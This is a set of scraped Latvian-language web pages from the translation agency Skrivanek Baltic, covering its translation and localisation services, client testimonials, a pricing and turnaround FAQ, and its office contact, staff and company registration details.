klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes SAZINIETIES AR MUMS Sazinieties ar mums, lai saņemtu tieši jums sagatavotu cenas aprēķinu, un mēs kopā īstenosim gan nelielus tulkojumus, gan apjomīgus projektus. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KĀPĒC IZVĒLĒTIES SKRIVANEK? Skrivanek Baltic nodrošina kvalitatīvus valodu pakalpojumus sekmīgai saziņai un ilgtspējīgam darbam Latvijā un ārvalstīs. Mēs esam viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Uzņēmums nemitīgi aug un attīstās, ejot līdzi laikam, piemēram, izmantojot modernas tehnoloģijas, lai optimizētu procesus un nodrošinātu precīzus un ātrus tulkošanas pakalpojumus. SPĒCĪGA PROFESIONĀĻU KOMANDA Skrivanek Holding SE strādā vairāk nekā 360 štata darbinieku – filologi, radošo tekstu autori, datorspeciālisti, profesionāli projektu vadītāji –, un katrs no viņiem prot vismaz vienu svešvalodu. Mūsu plašā tulku un tulkotāju bāze nodrošina tulkošanas pakalpojumus no A līdz Z vairāk nekā 110 valodās ļoti dažādās tēmās un nozarēs. Izvēloties sadarboties ar Skrivanek, par jūsu tulkojumiem vienmēr parūpēsies profesionāls tulkotājs vai tulks. Daudzi tulkotāji ir profesionālu tulkotāju asociāciju biedri, turklāt ir specializējušies ne tikai valodu jomā, bet arī citās nozarēs. Kad esam saņēmuši informāciju par tulkojamo tekstu, mēs izvēlamies atbilstošāko tulkotāju, turklāt katru tulkojumu pēc tam pārbauda arī korektors vai nozares redaktors, kam mērķvaloda ir dzimtā. Šāda tulkošanas pakalpojuma organizēšana nodrošina kvalitatīvu, precīzu tulkojumu, konsekventu, atbilstošu terminoloģiju, kā arī valodas labskanību un pareizu gramatikas lietojumu. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu SAZINIETIES AR MUMS Sazinieties ar mums, lai saņemtu tieši jums sagatavotu cenas aprēķinu, un mēs kopā īstenosim gan nelielus tulkojumus, gan apjomīgus projektus. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Biežāk uzdotie jautājumi un atbildes par uzņēmuma Skrivanek Baltic sniegtajiem pakalpojumiem. Neatradāt atbildi uz jautājumu? Sazinieties! - Published: 2017-09-29 - Modified: 2024-07-17 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional Skrivanek Baltic ir sertificēts tulkošanas birojs, kas Latvijā darbojas kopš 2003. gada, piedāvājot augstākās kvalitātes valodu pakalpojumus. Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu ilgu pieredzi. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs – ASV, Austrijā, Beļģijā, Bulgārijā, Čehijā, Igaunijā, Lietuvā, Polijā, Slovākijā, Slovēnijā un Vācijā. 2007. gadā durvis vēra Mācību centrs Skrivanek, sniedzot iespēju bērniem un pieaugušajiem papildināt un iegūt svešvalodu zināšanas pie augsti kvalificētiem un zinošiem pasniedzējiem, kā arī saņemt plašāku informāciju saistībā ar valodām. Tulkošanas pakalpojuma cena tiek aprēķināta, ņemot vērā vārdu skaitu dokumentā, valodu kombināciju un citus aspektus. Nosūtiet mums materiālus, un par tulkojuma izmaksām jūs tiksit informēti vēl pirms darba uzsākšanas. Bezmaksas izcenojuma saņemšana neuzliek jums pienākumu sadarboties ar mums. Samaksas kārtība Korporatīviem klientiem piedāvājam slēgt sadarbības līgumu, kurā varam paredzēt šādus samaksas nosacījumus: mūsu uzņēmumā klients, veicot pasūtījumu pirmo reizi, pasūtījumu saņem tikai pēc rēķina samaksas; pēcapmaksa ar rēķinu pēc katra projekta (parasti iesakām izmantot apjomīgu projektu gadījumā); pēcapmaksa ar rēķinu par periodu (parasti iesakām klientiem, kuriem ir liels skaits apjomā nelielu pasūtījumu); pēcapmaksa ar rēķinu vienu reizi mēnesī. Korporatīvajiem klientiem un privātpersonām piedāvājam veikt rēķinu samaksu ar norēķinu kartēm vai skaidrā naudā mūsu birojā, kā PayPal maksājumus, kā arī veikt samaksu ar bankas pārskaitījumu. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. Ja dokuments ir pieejams Microsoft Word formātā, izmantojiet vārdu saskaitīšanas funkciju (Review -> Word Count). Ja dokuments ir kādā citā formātā (izdruka, JPG, HTML, PHP, ASP u. tml. ), nosūtiet mums failu(-us) e-pastā, un mēs jums nosūtīsim bezmaksas aprēķinu. Par termiņiem mēs vienosimies jau pirms darba sākšanas. Varat rēķināties, ka tulkojumam līdz 500 vārdiem vidēji būs nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darba diena. Nepieciešamības gadījumā mēs varam nodrošināt steidzamu tulkojumu. Pilnīgi jebkurā elektroniskā formātā – ja dokuments nav pieejams elektroniski, nosūtiet mums attēlus vai atnāciet uz mūsu biroju Lāčplēša ielā 87C. Jā, jūs varat paši tulkot tekstus ar jebkuru no pieejamajiem mašīntulkotājiem un lūgt Skrivanek Baltic automātiski ģenerētos tekstus pārbaudīt un izlabot. To sauc par mašīntulkota teksta pēcrediģēšanu. Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Lai arī lielākā daļa pieprasījumu ir no uzņēmumiem, mēs ar lielāko prieku strādājam arī ar privātpersonām. Visbiežāk privātpersonām ir nepieciešami tulkojumi ar notāra apstiprinājumu, pieprasītas ir arī valodu mācības un nometnes bērniem un jauniešiem. Mūsu komanda palīdzēs ikvienā situācijā. Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Ja nepieciešams, mēs garantējam, ka mūsu iztulkotais dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Esam ISO 9001, EN 17100, ISO 27001, ISO EN 14001 un ISO EN 18585 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju Colonnade Insurance S. A. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. Viss atkarīgs no konkrētās vienošanās un jūsu prasībām. Tikai jūs noteiksiet, cik daudz laika tulkam jāpavada kopā ar jums. Gadījumos, kad iztulkoto gala rezultātu plānots izmantot, piemēram, mārketinga vai reklāmas nolūkiem, nepietiek ar precīzu iztulkošanu – bieži vien tekstu nākas lokalizēt, mainīt izmantotās idiomas vai citus tēlainos izteiksmes līdzekļus, lai tas būtu viegli uztverams arī mērķa valodas lietotājiem. Šādos gadījumos notiek tekstu adaptācija, lai tos pilnībā pielāgotu mērķa valodas auditorijas prasībām. Tulkošanas rīki (CAT) ir tulkotājiem paredzētas programmas, kas palīdz tulkošanas procesā. Tulkošanas rīkos netiek veikta datorizēta jeb automatizēta tulkošana, taču tie ļauj paveikt darbu īsākā laikā, nodrošina terminoloģijas konsekventu lietojumu, kā arī palīdz ietaupīt un sniedz citas priekšrocības. Šie rīki ļauj saglabāt visus iepriekš tulkotos tekstus, tā nodrošinot, ka divi vienādi teikumi nav jātulko vairāk par vienu reizi. Īpaši piemēroti tie ir darbam ar finanšu un tehniskajiem tekstiem, kā arī zāļu dokumentācijas, dažādu tīmekļa vietņu un programmatūras tulkošanai. Ir pieņemts, ka tulkotājs var iztulkot līdz 2000 vārdu dienā, savukārt korektors izlabot līdz 6000 vārdu dienā. Parasti viena tulkojuma projekta tehniskajai apstrādei paredzēta viena diena. Lai noteiktu izpildes termiņu liela apjoma projektiem, tulkotāju un/vai korektoru skaitu reizina ar viena speciālista paveicamo darba apjomu dienā (piemēram, divi tulkotāji spēj iztulkot 4000 vārdu dienā, pieci tulkotāji spēj iztulkot 10 000 vārdu dienā). Lai rakstiskajā tulkojumā nodrošinātu vienotu terminoloģiju un stilu, piesaista minimālo iespējamo korektoru skaitu (piemēram, pieci tulkotāji un viens korektors), izņemot steidzamus pasūtījumus, kad ir nepieciešams papildu personāls. Lai nodrošinātu sinhrono tulkojumu, katrā valodu pārī nepieciešami divi tulki (piemēram, pasākumā, kurā piedalīsies latviski un angliski runājoši dalībnieki, sinhrono tulkojumu nodrošinās divi tulki, kas aptuveni ik pēc 20 minūtēm nomainīs viens otru). Lai aprēķinātu sinhronās tulkošanas kabīņu daudzumu, jāņem vērā, ka vienā tulku kabīnē sēž divi tulkotāji, kas tulko vienā un tajā pašā valodu pārī (piemēram, ja pasākumā nepieciešams tulkojums četros valodu pāros, būs nepieciešamas četras kabīnes, kurās strādās astoņi tulki). Neatradāt atbildi uz savu jautājumu? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti RAKSTISKIE TULKOJUMI Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Vairāk MUTISKIE TULKOJUMI Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Vairāk LOKALIZĀCIJA Nodrošināsim ne tikai tulkojumus, bet arī pārliecināsimies, vai lokalizētais produkts vai programmatūra darbojas pareizi. Vairāk VALODU MĀCĪBAS Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Vairāk NODROŠINĀM VALODU RISINĀJUMUS DAŽĀDĀM NOZARĒM VAIRĀK NEKĀ 300 VALODU KOMBINĀCIJĀS Angļu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Poļu valoda Somu valoda Spāņu valoda Vācu valoda Zviedru valoda Citas valodas Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Uzdodiet jautājumu, nosūtiet cenas pieprasījumu, aizpildot kontaktu formu! Darba laiks: Pr–Pk no 8.30 līdz 18.00 | Lāčplēša 87C, Rīga | birojs@skrivanek.lv! - Published: 2017-09-29 - Modified: 2025-02-14 - URL: https://skrivanek.lv/kontakti/ - Translation Priorities: Optional NOSKAIDROT CENU / UZDOT JAUTĀJUMU Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai jau tūlīt! KĀPĒC SADARBOTIES AR SKRIVANEK? Pieredze un uzticamība – Skrivanek Baltic ir valodu pakalpojumu sniedzējs ar vairāk nekā 30 gadu pieredzi. Mēs nodrošinām profesionālus valodu pakalpojumus gan uzņēmumiem, gan individuāliem klientiem. Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Plašs valodu klāsts – pieejamas vairāk nekā 110 valodas – visus tulkojumus nodrošina viens uzņēmums. Nav nepieciešams meklēt citu tulkošanas biroju, kas rūpēsies par jūsu projektu. Ātrs tiešsaistē sniegts cenu piedāvājums – vairs nav jāgaida vairākas stundas, lai saņemtu piedāvājumu. Varam sagatavot piedāvājumu 15 minūšu laikā. Jebkurā gadījumā varat pieteikties tiešsaistes konsultācijai. Tajā mēs sniegsim izvērstāku piedāvājumu un atbildēsim uz visiem iespējamajiem jautājumiem. VĒLATIES UZZINĀT VAIRĀK PAR SKRIVANEK? LEJUPIELĀDĒJIET MŪSU PAKALPOJUMU APRAKSTU! Skrivanek pakalpojumu apraksts MUMS UZTICAS KONTAKTI – SKRIVANEK BALTIC BIROJS  Lāčplēša iela 87C, Rīga, LV-1011 (Waze) Pr–Pk no 9. 00 līdz 17. 30 Bezmaksas tālrunis: 8000 72 72 (+371) 26 382 680 (WhatsApp) RAKSTISKIE UN MUTISKIE TULKOJUMI birojs@skrivanek. lv(+371) 67 240 364 (Pr–Pk no 9. 00 līdz 17. 30)(+371) 26 181 355 (Pr–Pk no 9. 00 līdz 17. 30) VALODU MĀCĪBU CENTRS valodumacibas@skrivanek. lv(+371) 67 218 573 (Pr–Pk no 9. 00 līdz 17. 30)(+371) 25 667 752 (Pr–Pk no 9. 00 līdz 17. 30) valodumacibas. lv REKVIZĪTI SIA Skrivanek Baltic Reģ. Nr. : 40003626172 PVN reģ. Nr. : LV 40003626172 Banka: Swedbank SWIFT kods: HABALV22 Konta Nr. : LV50HABA0551004427167 (EUR) MŪSU DARBINIEKI Vasilijs Ragačevičs Direktors vasilijs@skrivanek. lv Artūrs Peha Biznesa attīstības vadītājs arturs@skrivanek. lv Dana Laizāne Lokalizācijas un MI projektu direktore dana@skrivanek. lv Jeļena Lapoška Administratīvās nodaļas vadītāja jelena. laposka@skrivanek. lv Aiga Matveja Mācību centra vadītāja macibas@skrivanek. lv Ivars Treskovskis Tulkošanas projektu direktors ivars@skrivanek. lv Lelde Calmane Kvalitātes nodaļas vadītāja lelde@skrivanek. lv Jānis Luns Mārketinga vadītājs janis. luns@skrivanek. lv Uldis Krūmiņš IT & DPO uldis@skrivanek. lv --- > Profesionāla dokumentu tulkošana vairāk nekā 110 valodās. Sazinieties ar mums, lai uzzinātu vairāk! Kvalitatīvi un ātri tulkojumi.️ - Published: 2017-09-29 - Modified: 2025-06-03 - URL: https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/ - Translation Priorities: Optional NEPIECIEŠAMI RAKSTISKĀS TULKOŠANAS PAKALPOJUMI? KĀPĒC IZVĒLĒTIES MŪS DOKUMENTU TULKOŠANAI! Pieredze un uzticamība – Skrivanek Baltic ir valodu pakalpojumu sniedzējs ar vairāk nekā 30 gadu pieredzi. Mēs nodrošinām profesionālus valodu pakalpojumus gan uzņēmumiem, gan individuāliem klientiem. Plaša formāta atbalsts – pdf, jpg, idml, json vai html – tam nav nozīmes. Ar mūsu DTP – tekstu grafiskās apstrādes speciālistu palīdzību, nodrošinām teksta apstrādi dažādu datņu paplašinājumos. Tādēļ jums nav jāuztraucas par dokumentu apstrādi. Plašs valodu klāsts – pieejamas vairāk nekā 110 valodas – visus tulkojumus nodrošina viens uzņēmums. Nav nepieciešams meklēt citu tulkošanas biroju, kas rūpēsies par jūsu projektu. Ātrs tiešsaistē sniegts cenu piedāvājums – vairs nav jāgaida vairākas stundas, lai saņemtu piedāvājumu. Varam sagatavot piedāvājumu 15 minūšu laikā. Jebkurā gadījumā varat pieteikties tiešsaistes konsultācijai. Tajā mēs sniegsim izvērstāku piedāvājumu un atbildēsim uz visiem iespējamajiem jautājumiem. DOKUMENTU TULKOŠANAS VEIDI UN NIANSES VISPĀRĪGO TEKSTU TULKOŠANA Nodrošinām privātu vai darba dokumentu, drukātu materiālu un dažādu prezentāciju tulkošanas pakalpojumus. Turklāt, ja konkrēto tekstu tulkošana nepieprasa specifiskas nozares zināšanas, tulkojums tiek veikts patiešām ātri un tulkošanas cena tiek aprēķināta uzreiz, atbilstoši vārdu skaitam. SPECIALIZĒTO TEKSTU TULKOŠANA Nozaru terminoloģijas ievērošana ir ļoti būtiska, tieši tāpēc mūsu tulkotājiem ir ne tikai filologa izglītība un iespēja izmantot mūsdienu tehnoloģiskos sasniegumus, bet arī zināšanas dažādās jomās un nozarēs – medicīnā, jurisprudencē, tehniskajās zinātnēs, apdrošināšanā, būvniecībā, mežkopībā, tirdzniecībā, ražošanā, valsts pārvaldē un daudzās citās. Šādi mums izdodas nodrošināt rakstiskās tulkošanas kvalitāti – valodas precizitāti, terminoloģijas konsekvenci. NOTARIĀLI APLIECINĀTI RAKSTISKIE TULKOJUMI Mēs nodrošinām notariāli apliecinātus tulkojumus pie dokumentu oriģināla un kopijām, ievērojot Latvijas Republikas normatīvos aktus, un sagatavojam tulkojumus, kuru pareizību, precizitāti un atbilstību oriģinālam apstiprina zvērināts notārs, bet zvērināts tulkotājs uzņemas pilnu atbildību par tulkojuma kvalitāti. NEPIECIEŠAMS DOKUMENTU TULKOJUMS, NOTARIĀLI APLIECINĀTS TULKOJUMS VAI MĀJASLAPAS LOKALIZĀCIJA? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par rakstiskajiem tulkojumiem jau tūlīt! TULKOŠANAS PAKALPOJUMI UN LOKALIZĀCIJA Kvalitatīvi rakstiskie tulkojumi daudzās jomās nav iedomājami bez lokalizācijas, tāpēc Skrivanek piedāvā audio, video failu, kā arī dažāda digitālā mārketinga satura, tostarp, mājaslapu, e-veikalu un reklāmu, tulkošanu un lokalizēšanu. Kā atšķiras tulkošana un lokalizēšana? Tulkošana ir informācijas pārnešana no vienas valodas otrā, kamēr lokalizācija tekstu pārveido, pielāgojot to mērķa valodas specifikai, kultūrai un sabiedrības priekšstatiem. Varētu teikt, ka tulkošana vairāk piemērota dokumentiem, 